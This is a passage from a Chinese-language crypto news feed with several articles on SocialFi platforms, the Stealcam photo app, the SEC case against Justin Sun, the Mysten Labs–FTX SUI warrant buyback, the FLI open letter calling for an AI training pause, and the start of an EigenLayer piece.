社区代币：社区代币主要由群体发行与控制，通常由去中心化自治组织（DAO）治理。主要用于激励社区成员为社区做出贡献，例如获准进入社群，享有特殊的资讯信息等。社典型案例是WHALE。WHALE Token具有各种NFT民主化的资产所有权，以WHALE DAO为基础，围绕这些NFT治理的决定权在代币持有者手中。其他社区代币项目包括Mirror、FWB等知名项目，以及Cent、Yup、Matataki、SWAGG、KarmaDAO、 Ark、Seed Club、Forefront、Flamingo。最近比较多关注的还有Aavegotchi（GHST）：将DeFi和NFT相结合的项目，通过在游戏中获取稀有的Aavegotchi NFT代币来激励用户参与社区治理和贡献。 铸造分发平台币：社交平台代币代表对平台的控制代币，主要为了便于创作者发行并管理好Token化社区。典型的项目有Chilliz，它是一种“粉丝经济”下的社交代币，主打体育产业。此外，还有RALLY以及BitClout等知名项目，以及Zora、CircleUBI、Loopss、Fyooz、Bluesky、Audius、Mastodon、Nafter、Coinvise、Calaxy、Clarion等。 除了以上三种代币之外，社交代币在项目运营中需要使用代币分发等第三方工具，这些工具有时候也会与其他生态的区块链项目使用的工具有所交叉。还有一些典型的项目值得关注，例如Mask Network。Mask Network以“插件”的方式桥接了Web2.0和未来的Web3.0概念，允许用户在无需迁移的情况下在已有社交网络上层无缝发送加密消息、加密货币甚至DAPPs（DeFi、NFTs、DAO）。Mask Network采用了分布式系统的技术，使得用户在使用社交网络时不再需要依赖中心化服务器。这意味着你的数据更加安全，同时也更加私密。 Web3.0社交平台是基于区块链技术和去中心化的理念构建的，与传统的中心化社交平台有着显著的区别。但是，Web3.0社交平台在发展过程中也面临一些问题，主要包括以下几个方面： 1）数据存储成本高：Web3.0社交平台将用户数据分散存储在区块链网络中，这种方式相比于传统的集中式存储方式，需要更多的计算资源和存储空间，这也导致数据存储成本较高。在Web2.0每天有数千亿的数据在社交媒体平台上传、点赞和评论。这样的数据规模对于区块链来说是一个巨大的挑战。然而，现在出现了一些解决路径来应对可扩展性问题。其中一种方法是通过增加区块大小或者分片来并行处理。另一种方法则是像Farcaster一样将身份信息和读写数据的能力存储在链上，而将其他数据存储在链下服务器FarcasterHubs中。相比于增加区块大小或者分片来并行处理，这种方案更注重链下存储和处理数据的能力，从而提高可扩展性。这种方式可以确保用户完全掌握自己的身份、社交关系和数据信息，同时保证了数据的安全和隐私。 2)社交网络效应不足：Web3.0社交平台相比传统社交平台，用户规模和活跃度较低，因此平台上的社交网络效应不如传统社交平台强，用户可能面临难以找到合适的社交圈子和交流对象等问题。 目前Nostr和Farcaster的用户群体主要是比特币和以太坊用户，以及金融科技行业从业者。吸引大量传统Web2.0基础用户使用SocialFi应用并不是轻松的任务，就像当初引导你的亲戚使用微信一样，Web3.0社交平台目前的用户界面和操作方式相对传统社交平台来说还比较陌生和不便利。大众教育需要更多的时间和资源。虽然激励是一个有效的方法，但并不足以单独解决这个问题。 一些项目方提出了一些有趣的想法，例如制作Twitter等社交媒体的中间件工具，以帮助用户熟悉SocialFi，并且实际拥有他们产生的数据。在巨人的肩膀上借力，确实可以更好地吸引用户。然而，对于一些原生SocialFi应用来说，吸引Web2.0用户是非常困难的。那些试图通过简单的复制或模仿Web2.0产品设计的产品，只是一种投机取巧的做法。只有那些使用区块链原语为用户带来变革性体验的社交产品，才能真正实现广泛落地。 3）跨平台互动困难：Web2.0时代的社交媒体平台之间通常缺乏标准化的数据格式和API，这也使得在不同平台之间传输和共享数据变得非常困难。Web2.0社交网络之间缺乏互通性，用户需要在多个社交网络之间切换，无法将不同社交网络上的好友、关注者等资源整合起来。 随着不同的生态体系和激励算法的出现，社交数据在不同的生态系统中穿越变得更加容易。例如：Nostr协议通过公私钥体系实现了社交数据的重新整合，使得不同社交网络的用户数据可以在Nostr生态中同步，并且在API可用时，可以实现跨协议传播数据，从而实现了社交网络之间的互通。这也有助于减少用户对于多个社交网络的依赖和使用成本。 虽然Lens为其他DeSoc项目提供了同步数据的API，但由于不同的DeSoc协议之间可能采用不同的数据格式、加密方式和验证规则等，需要协议之间进行合作和沟通，以制定标准化的数据格式和验证规则，这些差异和障碍可能会导致跨平台互动实现SocialFi的大规模社交变得困难。 另外，由于不同的DeSoc协议具有不同的生态体系和激励机制，用户可能更愿意留在他们最初的DeSoc协议上，而不去选择在不同的协议之间进行跨平台互动。这种惯性可能会导致社交网络的碎片化，使得实现SocialFi的大规模社交变得更加困难。 因此，跨平台互动从而实现SocialFi的大规模社交仍然是一个遥远的目标。需要协议之间的合作和整合，以促进数据共享和互操作性，并在社交网络生态系统中创造更大的协同效应。 4）实现可持续经济模式：目前，SocialFi的主要价值捕获方式有两种。一种是为用户的社交行为奖励，例如转发、点赞、评论等，从而获得收益。另一种是通过内容创作激励，具有粉丝基础的创作者可以在其社交代币中创建订阅模型，获得高级访问权限。此外，当用户想要访问优质创作者的最新内容时，他们可以使用代币付费。如果内容质量非常高，使读者建立了阅读和订阅习惯，这种系统将为SocialFi平台带来更多独家和可共享的内容。 然而，目前我们看到的大部分项目中，内容提供者80%为项目方本身团队，20%的内容存在严重的同质化问题，或者准确度难以求证，在更新频次和质量上难以控制。读者只能通过简单的“阅读数”来衡量内容的受关注度，并使用自己的知识储备来求证内容的真实性。在这种情况下，缺乏高质量的内容创作和激励机制以及客观完善的审核机制成为发展瓶颈。 5）商务拓展进入白热化阶段：GameFi通过“Play to Earn”模式成功地捕获了其所提供的价值，全球各地的玩家可以通过玩游戏来创造和捕获价值。而SocialFi所蕴含的价值则隐含在一次次的社交互动中，需要通过内容创作者个人价值的彰显才能够获取来自SocialFi的价值。对于拥有头部流量的Influencers而言，在SocialFi的项目中也成为了众多竞争者争抢入驻的首选标的。例如在其SocialFi社区中，Influencers可以更加方便地变现粉丝经济或者加强群内的快速交流，从而加强与粉丝之间的联系。这也导致Influencers的商业拓展进入了白热化阶段。SocialFi则希望通过将社交影响力通证化，打造一个自洽的经济系统，以帮助更多拥有不同级别社交影响力的人获得与其社交影响力相对应的收益。 2023年，SocialFi仍将是下一个周期的热点之一，这一领域的发展潜力仍然值得关注。在这个领域，我们看到越来越多的中间件和协议在不断创新和演进，使社交应用变得更加稳定、安全、快速和可扩展。 在SocialFi的协议层面，存储、通讯、内容分发和信誉/凭证等方面的技术正在不断创新。其中，去中心化的社交媒体协议和中间件受到越来越多的关注。除了Nostr和Farcaster，LensProtocol是最火热的DeSoc协议之一，基于Polygon的Web3.0社交图谱协议，充分利用了NFT的潜力，以NFT为基础构建社交图谱，用户完全掌握自己的链上活动轨迹数据。目前，已有超过10万用户使用该协议，这表明社交媒体协议和中间件的潜力和吸引力。 另一方面，在公共网络上共享个人信息常常令人不安，而随着Web3.0社交的兴起，隐私将成为一个重要的创新领域。zk技术是一种隐私保护技术，可用于在区块链上实现私密和安全的交易。将SocialFi和zk技术结合起来，可以提高借贷交易的安全性和隐私性。在SocialFi平台上，zk技术可以用来保护用户的交易数据，防止它们被未经授权的第三方访问。同时，zk技术可以保护出借人的隐私，确保他们的贷款信息不会被泄露。但需要注意的是，在保护隐私的同时，也要平衡匿名属性与建立社会地位之间的冲突。 综上所述，Web3.0社交产品需要不断创造新的交互场景，建立用户之间的新型社交关系，从而打破社交疲劳。 在未来，Web3.0社交产品需要探索更多创新性的交互方式和社交场景，以吸引更多用户加入。同时，还需要解决用户体验、扩张性、隐私保护等问题。随着技术的不断进步，我们相信Web3.0社交产品将会更加成熟和普及。 文章参考： https://cointelegraphcn.com/news/SocialFi https://thedefiant.io/three-trends-shaping-SocialFi https://medium.com/@hello_1905/interpretation-of-damus-communication-logic-the-myth-of-DeSoc-cfb4e3200a1b https://wearesocial.com/hk/blog/2022/04/more-than-5-billion-people-now-use-the-internet/  ( 4 min )
    Arbitrum图片社交应用Stealcam走红：窥私欲与所有者经济完美结合，加密OGs集体点赞
    原文：《加密OG都在玩的Arbitrum应用Stealcam：窥私欲与所有者经济的完美结合》 作者：LeftOfCenter 就在大家都为 Arbitrum 空投狂欢时，一款 Arbitrum 生态的图片分享应用 Stealcam 正在默默积蓄力量，短短两周，在不靠空投预期也没有发行 token 的情况下，仅靠自然增长累积交易量就超过了 313ETH（约合 50 万美金），OP Stack 核心开发团队 Base 开发主管 Jesse Pollak 评价其为「自己最爱的一款独特的链上新产品。」 这款近日有点小火的 Web3 产品名为 Stealcam，说它小火是因为加密行业的热点和关注度往往与 TVL 有关，从这个指标看，它确实只是一个有点小火甚至不值一提的应用。 然而，在没有空投预期也没有发 token 的产品 beta 期，这款图片应用仍获得了一定的有机增长，beta 版仅上线两周产生的总交易量达 50 万美金，仅靠在原有图片应用的基础上加入了新的分发模式（将人类的窥私欲+名人效应+所有者经济模型巧妙地结合起来），就吸引了大量艺术家、KOLs、VC 合伙人的入驻，并获得了不错的口碑。 简单来说，Stealcam 是一款图片社交分享应用，用户可上传图片或视频文件至该平台上，这一点上和普通的互联网拍照应用无异。 不同的是，该平台上发布的图片不是免费访问，而需要 steal（支付一定费用，目前仅支持 ETH 支付）才能获得 reveal（开图）权，然后查看图片的具体内容。 「开图权」并非无限期享有，只有当你是该图片的最新一个开图者时才能查看该图片的内容， 每张图片都可被无限次 steal，每一次 steal 都会在前一次 steal 价格的基础上增长 10% 并加上 0.001 ETH。如果一张图片非常热门，参与 steal 的人很多，那么有可能在你 steal 完后想要 reveal 时就已经被其他人 steal 走了（steal 和 reveal 是两次操作，需要 2 次签名），为了查看内容，你得再次将其 steal 回来。 每一次 steal 所产生的收入会将上一个 stealer 的购买成本全部返还，而两次 steal 产生的差价会在创作者、上一个 steal 参与者和协议之间分配，其中创作者和上一个 stealer 分别获得 45%，10% 分配给该协议。 每一次 steal 所产生的收入会退还给上一个 stealer，也就是被 steal 的人获得全额退款，并且可获得差价的分成 总结一下就是，Stealcam 在传统图片社交应用的基础上加了一层像素化打码，允许其他人付费浏览内容，它通过引入竞拍激励模型，将一件作品的所有参与者（创作者和上一个购买者）都计入到了利润分享模式中，从而可促进作品的价格发现。 虽然从上线到现在为止仅两周时间，目前仍处于 beta 测试阶段，用户界面看起来也稍显粗糙，但作为一款 Web3 应用，无论是口碑还是用户自然增长上看，Stealcam 交出的成绩本都可圈可点。 数据上看，该平台生成的图片数量已突破 1,1000，这可从官网的最新发现页面中最新发布的图片 ID 可看出，该平台上发布的图片编号按照先后次序展示在最新发现页面中。 由 nazih.eth 发布的 Stealcam dune 面板显示，Stealcam 上发布的图片累积 steal 次数达 2 万次，每日 mint 次数最高达 1499 次，每日 steal 次数最高达 4175 次，累积交易量超过 313ETH（约合 50 万美金），用户赚取收入累计达 40ETH（约合 68000 美金）。 根据官网的 TOP 10 收入排行榜，排行首位的是NFT 艺术家 Shl0ms，收入为 4.2ETH（约和 7600 美金），排行第二和第三的分别赚取收入 3.6ETH（约和 6551 美金）和 1.87 ETH（约和 3331 美金）。 将 Stealcam 收入排名榜 继续往下拉，我们发现这个仍处于 beta 测试期的应用已经吸引来自加密 og、艺术家甚至是 Web3 应用们的入驻，其中，排名第 14 位的是 USV（联合广场基金）联合创始人 Fred Wilson，他通过在 Stealcam 上发布了 10 件作品赚了 0.53 ETH，排名第 17 位的是钱包应用 rainbow，该应用通过发布图片在 Stealcam 赚取了 0.4 ETH，排名第 25 位的是加密基金 Variant Fund 联合创始人 Li Jin，另一名 Variant 联合创始人 Jess 则排名 79 位。 团队创始人为匿名 OG Racer（推特号 @0xRacerAlt）和shrimp（@shrimppepe）。 用例和玩法 作为一款图片应用，发布图片和分享图片当然是最基础的玩法，用户在 Stealcam 上发布图片/视频，然后分享给其他人付费 steal 查看，此外，你也可以付费 steal 查看朋友、同事、家人等其他人的图片。 而作为一款加密应用，当然还有一些区别于普通图片分享应用的玩法。对于 Stealcam 来说，这就是 mint 和 steal，并在底层加密协议的加持下将所有制经济机制纳入进来，让一张图片的所有竞拍参与者都可获得该图片产生的一部分收益。 发布作品：尤其适用于艺术家 先说 mint。 mint 就是在 Stealcam 上传作品（包括图片/视频），像素化打码后进行发布，等待其他人付费 steal（开图），并赚取收入。 在 Stealcam 默认的分配机制下，除了首位 steal 玩家可以免费开图，之后每次 steal 都会产生收入，起始价是 0.001ETH，之后会以固定比率在每一次 steal 产生时增长，每一次 steal 所产生的收益除了返还当次被 steal 的竞拍者的出价之外，两次 steal 的买卖差价会在创作者、当次被 steal 的竞拍者（相当于卖家）和协议之间分配，其中，创作者和被 steal 的竞拍者获得比额相当的收入——两次买卖差价的 45%。 可以说，这种一开始就将竞拍者（stealer）纳入到收益分配机制的做法十分适合艺术家发布作品，同样，这也是将所有制经济与社区贡献挂钩，并在底层加密协议的加持下进行收入分配的一次有效实践。 在目前加密熊市（NFT 市场更熊）的情况下，大部分 NFT 作品在 mint 完毕后几乎没有交易量，所谓的底价不过是 Holder 们自欺欺人挂了一个心理预期出售价格，可以说，没有交易量，没有流动性是大部分 NFT 目前面临的窘境。 在这种情况下，如果一开始就将竞拍者（stealer）纳入到收益分成体系中，即只要接手的作品能卖出，产生的价差收益的 45% 即刻打给这个竞拍者，那么，对于 NFT 流动性就会产生正向回馈，并推动 NFT 作品的价格发现。 既然我们承认流动性十分重要，且在当今 NFT 市场中价格发现难度如此之高，那么那些为一件作品最终价格发现做出贡献的人就是重要的贡献者，理应从该作品收入中分得一杯羹。而这也是所有制经济的核心，即一个社区的参与者应该获得该社区所产生价值的一部分，比例与自己的贡献值正相关。 在 Stealcam 中，这种公平性体现在： 作品创建者将获得永久的作品版税分成，即每一次 steal 和前次 steal 价差的的 45% 将自动分配给作者。这意味着，只要该图片在市场上仍有销量，其创作者/发布者就永远可以获得销售额的分成收入，相当于永久版权分成。 而 Stealer 除了获得全部返还的 steal 成本之外，还可获得单次 steal 所产生溢价（即两次 steal 之间的差价）部分的 45%。 Steal 贡献者都可以获得单次 steal 产生的收益的 45%，考虑到他们对该作品当下这笔交易的价格发现做出了贡献，这是一种非常合理的分配，而对于发布者，则获得每次拍卖赚取差价的另外 45%，该分配贯穿于每一次竞拍中，因此相当于是永久版权。 当我们还在为「创作者的版税究竟是应该可选还是强制执行」，「NFT 市场应该以买方还是卖方市场为主」争论不休时，这样一种「不多不少」的折衷分配机制或许是一个值得考虑的方案。 当然，如果将粉丝经济也考虑在内，比如发布者本身就是竞拍者参与的社区或人（无论是作家、音乐人、导演还是艺术家），那么，以这种方式参与竞拍也不再是一件纯粹赚钱的举动，而是社区参与为主、顺便赚钱的事情。 Stealcam 也为发布者提供了十分友好的「粉丝管理」界面，在个人账户页面的「top fans」tab 上，Stealcam 根据 steal 次数指标对每个用户的粉丝进行排名，方面查看自己粉丝的互动数据。 值得注意的是，虽然 Stealcam 在用户界面上还稍显粗糙，但在「收入提现」功能上却体现了十足的诚意，即每一次竞拍产生的收入都会即刻提取到用户钱包中，没有延迟，不需要手动提取，即可在自己钱包中看到自己当前赚取的收入显示。 购买和投资策略：如何通过 steal 赚取差价 除了发布和分享作品永远享受差价的 45% 永久版税，用户也可以通过 steal 别人的作品来赚取收入。 最稳妥的一种参与方式是，steal 图片的第一次翻图权，0 成本+非常少的 gas 费，只要有下一名 stealer 出现，就可以赚得 0.001ETH，然而就仅此而已了，后面这个作品即使被拍到 100ETH，也和你没有关系。这是最稳最无风险的一种参与方式。 另一种方式，则是选择在一件热门作品的中后期加入竞拍，根据平台规则，每一次 steal 价格都会在前一次 steal 的基础上增长 10%，因此参与时机越靠后，收益份额会越高，相应的风险系数也越高。当然，这种方式有一定的成本和较高的风险，如果接手后该作品无法被下一个人 steal，那么你就是该作品最后的接盘者。因此在选择时需考虑市场预期，比如名人/知名艺术家/或者热度较高的社区等发布的作品，这就是所谓的名人效应。 还可以怎么玩？预期管理，玩噱头，发谍照 常规玩法之外，Stealcam 还有哪些潜在的使用场景和玩法？ 发布者可通过 Stealcam 发布一系列「早知道」预告，允许粉丝 reveal 偷窥，粉丝通过 steal 获得翻图权，通过激发粉丝/用户的好奇心和口口相传为未来要发布的作品造势。这些作品应不受格式的限制，除了图片，还应该支持音乐作品的试听、电影预告片等。而创作者也不局限于艺术家，而应该包括更广泛意义上的 creator，包括音乐人、导演、作家、摄影师、电竞主播、女优、AI 虚拟人物、社区和企业品牌等。 事实上，已经开始有企业品牌开始在 Stealcam 运营了。比如 NFT 社交平台 showtime 通过在 Stealcam 铸造 NFT 发布产品未来功能的谍照，showtime 并不是唯一一个使用 Stealcam 预告新功能的产品，Rainbow 钱包也通过发布产品未来的功能谍照来吸引用户的注意。 Rainbow 钱包在 Stealcam 上发布「未来产品功能」谍照 对与财务投资密切相关的加密行业来说，谍照则意味着 alpha、一个项目方新功能的预告或者 roadmap 的公布，这都对加密用户/持币者产生绝对的吸引力，只不过，这种特殊的谍照打的是信息差套利，因此越到后面 reveal 这些信息是越没有吸引力的，这就需要有自定义功能的竞拍定价模型。 需要注意的是，目前 Stealcam 上有很多冒充名人的假号，steal 时建议仔细确认，由于目前 Stealcam 仅支持推特授权认证，同时支持匿名，因此唯一验证的方式就是在发布者的个人页面查看绑定的推特账号是否为本人。  ( 6 min )
    “币圈大佬”们遭指控，法律角度分析事件后续影响
    最近几天，海外虚拟资产圈里接连出现了几件影响力颇大的事件，美国两个虚拟资产主要监管机构：美国证券交易委员会（United States Securities and Exchange Commission，以下简称“SEC”）和美国商品期货交易委员会（Commodity Futures Trading Commission，以下简称“CFTC”），前后脚对虚拟资产重拳出击。 先是SEC在纽约法院起诉了火某币实控人孙某某（Justin Sun）及其所控制的三家全资公司Tron Foundation Limited、BitTorrent Foundation Ltd.以及Rainberry Inc.涉嫌（1）未经合规注册就向公众提供和销售加密资产证券Tronix（即TRX币）和BitTorrent（BTT币）；（2）通过大量的洗售交易（wash trading）欺诈和操纵加密货币二级市场。随后，CFTC也不甘示弱，向币圈另一大佬赵某某（CZ）发难，起诉其本人及旗下的全球头部加密资产交易平台Binance Holdings Limited、Binance Holdings（IE）Limited和Binance（Services）Holdings Limited违反了美国商品交易法（CEA）和CFTC的其他规定，未按要求进行合规注册且故意逃避监管。 我们一次先讲一件事，今天我们就将目光放到证监会与火某币、孙某某那边，从法律角度对SEC的指控做出较为详细的分析并预判案件走向和后续可能产生的影响。 一、 SEC指控了什么？ 如前所述，如果我们将SEC长达数十页的起诉书精简为重要信息可以发现，SEC主要指控了孙某某及其实际控制的三家法人实体主要存在两项严重违反美国《证券法》及SEC监管规则的行为： （1）未按照美国《证券法》规定注册和履行其他监管义务，就公开向美国公众发行和出售加密资产证券Tronix（TRX）和BitTorrent（BTT）； （2）孙某某通过一系列的做市营销行为，包括利用由自己人控制的账户进行广泛的洗售交易（也就是自买自卖行为）抬升币价、利用“赏金计划”（bounty programs）给名人（演员、明星、网红等具有广泛网络影响力和号召力的人）送钱打广告，以提升该虚拟币的影响力。涉嫌欺诈和操纵证券市场。 二、未经注册发行和销售证券 首先我们要明确一个前提，加密货币是不是证券？按照美国1933年证券法的规定，“证券”一词系指任何票据、股票、库存股票、债券、公司信用债券、债务凭证、盈利分享协议下的权益证书或参与证书、以证券作抵押的信用证书，组建前证书或认购书、可转让股票、投资契约、股权信托证，证券存款单、石油、煤气或其他矿产小额利息滚存权，或一般来说，被普遍认为是“证券”的任何权益和票据，或上述任一种证券的权益或参与证书、暂时或临时证书、收据、担保证书，或认股证书或订购权或购买权。 可见，美国证券法对于“证券”的定义是非常宽泛的，对于传统的股票、债券等还好说，但如果是加密货币这种新型资产，那么光靠上面的定义就完全没法得出一个确定的结论。此时SEC就引入了一个叫做“豪威测试”（Howey Test）的判断标准，用来确定一个东西到底是不是证券。如果在测试中得出肯定的结论，那么该资产就要受到美国1933年《证券法》和1934年《证券交易法》关于证券信息披露和注册要求的约束。 豪威测试来自七十多年前，美国最高院的一个著名判例：SEC诉W.J. Howey公司案（SEC v. W.J. Howey Co.），简单来说就是一家叫豪威的公司将大片的柑橘园卖给了佛罗里达州的一些有钱人，然后这些买家再通过租赁合同将土地租回给豪威公司，由公司的工作人员来实际经营果园并代表买家来出售水果，最后双方按比例分享收入。这样一来，豪威公司不仅成功取得了融资并能在后续通过经营柑橘园获得分成收益，有钱没技术的买家们通过投资获取了一个有价值的资产和一笔稳定的收益且不需要自己实际去种地，实现双赢。 但是，美国最高院认为，这种经营模式下（回租安排）的买卖和租赁合同并不单纯，在公司与买家之间实际上构成了一种投资法律关系，双方所签订的实际上是一个投资合同。美国最高院在判例中确定了如下规则： 判断是否为投资合同（证券）的四大条件： 1. 是否为金钱（money）投资； 2. 是否投资期待利益（profits）的产生； 3. 该投资是针对特定事业（common enterprise）的； 4. 利益的产生源自发行人或第三人的努力而非购买者本人。 需要注意的是，该定义中的“金钱”（money）的概念在后续的一系列判例中不断扩大，基本上只要有价值的资产都可被视为金钱投资。最关键的是第四条，即“利益的产生源自发行人或第三人的努力而非购买者本人”换言之，如果购买者自身的行为将决定盈利是否产生，那么该等投资就不构成证券。在司法实践中，美国法院采用“实质性审查”的原则，直接审查投资行为的实质，与我国金融监管机构的“穿透式监管”异曲同工。 我们可以直接给出一个较为确定的结论：在该测试下，孙某某及其实控公司发行的Tronix（TRX）和BitTorrent（BTT）两种加密货币可被认为美国1933《证券法》及1934《证券交易法》意义上的“证券”，因此需要符合法律和SEC的监管规则。具体而言，孙某某未经注册发行加密货币和空投加密货币的行为，违反了1933《证券法》第五节的要求（Section 5 of the Securities Act of 1933）。 1933《证券法》第五条规定非常复杂，飒姐团队在此简要为大家讲解：该条规定，只要一个构成“投资合同”的证券产品未经注册和出具合法的注册报告书，就在美国的州际贸易中利用任何交通或通讯手段、工具，邮寄或通过任何媒介或方式出售这种证券或导致这种证券在洲际贸易中传递就属于非法发行和出售证券的行为。 孙某某的加密货币未经注册就大规模向包括美国公民在内的加密资产钱包地址进行空投，就构成了违反《证券法》的行为。 三、非法做市涉嫌欺诈和操纵证券市场 在该项指控中，SEC主要将火力瞄准了孙某某在宣传和营销Tronix（TRX）和BitTorrent（BTT）两种加密货币时实施了两种违法行为： （1）隐瞒了花钱请明星网红隐瞒在社交媒体账户上推广TRX和BTT两种虚拟货币的行为，该行为误导公众认为这些明星网红对TRX和BTT有“无偏见的”（unbiased）的投资兴趣，从而在未经适当信息披露的情况下吸引投资者。 （2）从2018年4月到2019年2月期间，孙某某指示员工在由其控制的两个加密资产交易平台账户之间进行了超过60万笔自买自卖的清洗交易，每天的交易数在450万至740万TRX币之间，创造该加密货币流动性高、虚假繁荣的假象以吸引投资者。 关于第一项非法宣传的行为，飒姐以前就跟大家说过，美国网红做付费推广的如果是一个具有投资风险的金融产品，那么必须明确向粉丝进行披露（要详细到自己这个推广到底收了多少钱），否则将会面临严重的法律风险。 美国《联邦贸易委员会法案》规定，网络付费推广必须在促销推文中做出明确的披露。披露甚至需要达到收费细节的程度。如果是视频推广，博主必须在整个推广视频中全程标注披露，不能只在片头或片尾展示。网红在推广虚拟资产时，如果未披露自己与项目运营方存在有偿商务合作，可能会违反《联邦贸易委员会法案》，面临行政处罚。典型的案例是美国名媛金卡戴珊（Kim Kardashian）行政处罚案，该网红由于与某虚拟资产服务提供商合作在社交平台上推广了一种加密货币被罚126万美元。卡戴珊在信息披露方面仅标注了该推广是广告，但未披露其获得了25万美元的推广费。目前孙某某事件中一同被SEC起诉的8位名人，已经同意与证监会和解。 而第二项非法做市欺诈和操纵证券市场的行为重点还是在老生常谈的“洗售交易”上。所谓洗售交易，指的是早已存在在传统证券市场上的虚假交易形式，一笔交易或一系列交易看上去确实是在买入和卖出资产，从数据上看资产也确实在流动，但其实这些交易皆出自同一人、同一主体或存在特定利益关联的关联方，也就是俗称的自买自卖。 洗售交易广泛地存在于金融产品、加密货币和NFT等一切存在炒作空间的地方，往往会导致投资者对投资品的实际盈利能力、投资收益等产生误判。因此，普遍被世界各国金融监管主体严厉打击。此次SEC已经提出了足够多的证据起诉孙某某清洗交易并操纵证券市场，如果证据属实，不出意外的话孙某某将会为此行为付出巨大代价。 写在最后 无论是SEC还是CFTC的案件，目前都还处于早期阶段。飒姐团队建议大家先保持密切关注，让子弹再飞一会儿，才能更好的看清案件事实与美国监管机构的监管思路。美国SEC高管近期的一句名言较为准确的概括了监管机构的行动原则：“虽然我们对相关技术持中立态度，但在投资者保护方面我们绝不中立。”可见，基于投资者保护的目的，未来一段时间内美国将会持续对虚拟资产（飒姐团队提示：包括加密货币和NFT在内）进行更加强力的监管。  ( 4 min )
    MystenLabs与FTX债务人123页法庭文件要点总结：我们可以获得SUI哪些关键信息？
    原文：《MystenLabs与FTX债务人的123页法庭文件，透露了哪些 SUI 的信息？》 作者：Julian 近日，根据相关法庭文件披露，Mysten Labs 3月22日与FTX债务人达成协议，将以9630万美元的现金回购 FTX 对Mysten Labs的股权投资和SUI代币权证。 长达123页的文件议，详细还原了2022年8月FTX 投资 MystenLabs 的情况。结合法庭文件和 Sui 近期的一系列动作，SuiWorld 进行了一些总结及分析： 1、 Mysten Labs约20亿美元估值完成超3亿美元的B轮融资 这个融资信息是去年的公开消息了。FTX及B轮投资者们通过投资MystenLabs 的B轮优先股权，获得了Sui Token 的代币权证。 2、 FTX 约1.02亿美元获得约8.9亿枚Sui Token FTX在MystenLabs 的B轮融中总共投资了1.02亿美元，获得了约57万股优先股，和获得约8.9亿枚Sui Token的代币认购权证。作为领投方的FTX 投资Sui Token的平均成本是非常低的，约0.114美元。 FTX这里有两笔获得SUI代币权证非常重要：Cottonwood Grove Limited（Alameda）和 FTXTrading 分别以500美元的价格获得了约1.73 亿和3.46亿枚共计5.19亿枚Sui Token 的代币权证。这5.19 枚Sui Token 在 Sui NetWork 主网上线和Sui Token启动后，满足一定条件，将用于在FTX 平台上做市交易。（Sui World 注：Cottonwood Grove Limited 是AlamedaResearch全资控股公司） 作为曾经的头部交易平台和做市商， FTX 领投Sui 超过1亿美元的的一个重要条件，就是旗下的做市商Alameda 和FTX Trading几乎免费拿到了5.19亿枚 Sui Token用于在FTX.com 平台上做市。但是随着FTX在Sui 启动之前就崩溃了，这个代币权证的协议也不存在了。 3、部分B轮投资者的Sui Token筹码成本约为0.28-0.31美元 抛开 FTX 的做市筹码部分，其他部分B轮投资者获得Sui Token代币权证的成本仍然可以参考 FTX Ventures，平均成本约在0.28-0.31美元之间。 4、Sui 将收回大量低成本的机构筹码 除了约0.28-0.31美元之间的Sui Token 投资筹码，对于领投方FTX来说，还额外获得了5.19亿枚Sui Token的做市筹码。 如今Mysten Labs以9630万美元的现金回购 FTX 对Mysten Labs的股权投资和SUI代币权证，意味着收回了大量FTX 低成本的投资筹码和做市筹码。对于未来上线的 Sui Token 来说是个好事。 值得提的是，FTX同样也以相似的估值、投资金额领投了另一条Move 链Aptos，FTX对Aptos的投资方案或和Sui非常相似，即FTX 持有大量（超过流通量1/3）低成本的投资筹码和做市筹码。这意味着在FTX 崩溃之前上线的Aptos，部分低价筹码已经进入市场，没出售完的筹码也会等待FTX债权人的处置方案。 5、FTX债务人可以继续“向其它第三方寻求更高的报价” 文件还披露，目前FTX债务人可以继续“向其它第三方寻求更高的报价”，直到法院最终确定出售日期。Mysten Labs的股权投资和Sui代币权证对于不少机构来说还是有吸引力的。 6、SUI 主网上线少了最大的外部障碍 处理完与 FTX 债务人的问题，也就处理了SUI 主网上线的最大的一个外部障碍。SUI 主网上线与Sui Token的发布，不用考虑来自 FTX 此前的投资筹码的处理问题。 7、9630万美元对应了1亿美元基金 9630万美元的现金回购一旦完成，对于去年刚融资超过3亿美元的Mysten Labs来说，短期并无财务影响。长期的影响或主要在于Mysten Labs 对Web3的一些布局，比如投资、收购 Web3项目。 这也对应上了此前的消息，Mysten Labs 首席执行官Evan Cheng 正寻求为一个 Web3 基金筹集超 1 亿美元资金，该基金将不限于 Sui 生态。Hashed 联合创始人 Alex Shin 和资深对冲基金投资者 Sandeep Ramesh 将作为普通合伙人加入新创立的 Web3 风险基金。  ( 5 min )
    马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统
    PANews 3月29日消息，据澎湃新闻报道，未来生命研究所（Future of Life Institute）公布一封公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。辛顿、马库斯和马斯克均签署了这封公开信。 未来生命研究所的这封公开信题为“暂停巨型AI实验：一封公开信”，于29日解封。截至发稿，这封信已有1079名科技领袖和研究人员签名，除了马斯克、辛顿和马库斯之外，还包括图灵奖得主约书亚·本希奥（Yoshua Bengio）、《人工智能：现代方法》作者斯图尔特·罗素（Stuart Russell）、 苹果公司联合创始人史蒂夫·沃兹尼亚克（Steve Wozniak）、Stability AI首席执行官埃马德·莫斯塔克（Emad Mostaque）等科技界领袖人物。 信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。  ( 4 min )
    以太坊生态创新不断，为什么EigenLayer值得特别关注？
    原文作者：DX, Henry Ang, Mustafa Yilham, Allen Zhao, Jermaine Wong & Jinhao，Bixin Ventures 区块链被称之为“信任机器”，用户构建网络无需中心化监管机构许可（permisionless）——比特币是一切的起点，它通过PoW共识机制帮助矿工就价值分配达成共识从而创建了一个信任层，一切价值传输发生在这个信任层之上。 但比特币的一个问题是，它更像一条只支持转账功能的单一应用链（application specific blockchain），其他的应用如Namecoin需要再去创建自己的信任层以便运行，这为应用创新设置了巨大的障碍。以太坊的开创性在于，它在比特币的创新之上添加了一层通用的图灵完备的执行层（即EVM）。在将应用层和信任层进行拆分后，应用可以直接在以太坊上部署自己的智能合约，并得到信任层的安全保证，无须从头创建自己的信任层。   The Merge后，以太坊从PoW共识转变为PoS共识，相比于PoW机制需要矿工使用硬件比拼算力达成共识，PoS机制要求节点质押一定资金投票达成共识，诚实的节点得到网络奖励，一旦违反规则，也会因此受到惩罚，这样做有两点好处： 首先，惩罚机制可以在破坏收益（Profit from Corruption）不变的情况下提高破坏成本（Cost of Corruption），有助于提升信任层的经济安全性。 